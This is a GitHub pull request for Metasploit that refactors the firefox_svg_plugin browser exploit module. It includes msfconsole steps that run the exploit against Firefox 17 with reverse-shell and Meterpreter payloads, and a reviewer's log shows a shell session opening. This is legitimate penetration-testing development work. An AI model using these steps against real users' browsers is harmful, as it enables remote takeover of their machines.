Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Clean up firefox_svg_plugin module to use the mixins i have added #3145

Merged
merged 1 commit into from Mar 27, 2014

Conversation

jvennix-r7
Copy link
Contributor

I've updated the firefox_svg_plugin module to:

  1. Actually use BrowserExploitServer (I had accidentally overridden the BES's on_request_uri)
  2. Use the new FirefoxPrivilegeEscalation mixin, specifically the run_payload method
  3. Removed all of the custom target setting code. I had no clue why this didn't work for me at the time, now I understand the code really did nothing for you, because handler selection
Verification
  • Download Firefox 17 or 17.0.1 (ensure flash is installed)
  • Run the exploit with a javascript payload:
msf> use exploit/multi/browser/firefox_svg_plugin
msf> set target 0
msf> set payload firefox/shell_reverse_tcp
msf> set lhost 0.0.0.0
msf> run
  • Ensure you get a shell
  • Run the exploit with a native payload:
msf> use exploit/multi/browser/firefox_svg_plugin
msf> set target 1
msf> set payload windows/meterpreter/reverse_tcp
msf> set lhost 0.0.0.0
msf> run
  • Ensure you get a shell

@wchen-r7 wchen-r7 self-assigned this Mar 27, 2014
@wchen-r7
Copy link
Contributor

msf exploit(firefox_svg_plugin) > [*] 10.0.1.76        firefox_svg_plugin - Gathering target information.
[*] 10.0.1.76        firefox_svg_plugin - Sending response HTML.
[*] 10.0.1.76        firefox_svg_plugin - Target selected: Universal (Javascript XPCOM Shell)
[*] 10.0.1.76        firefox_svg_plugin - Sending Firefox 17.0.1 Flash Privileged Code Injection
[*] 10.0.1.76        firefox_svg_plugin - Sending .swf trigger.
[*] 10.0.1.76        firefox_svg_plugin - Sending .swf trigger.
[*] Command shell session 1 opened (10.0.1.76:4444 -> 10.0.1.76:63029) at 2014-03-27 12:59:13 -0500

@wchen-r7 wchen-r7 merged commit 80808fc into rapid7:master Mar 27, 2014
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants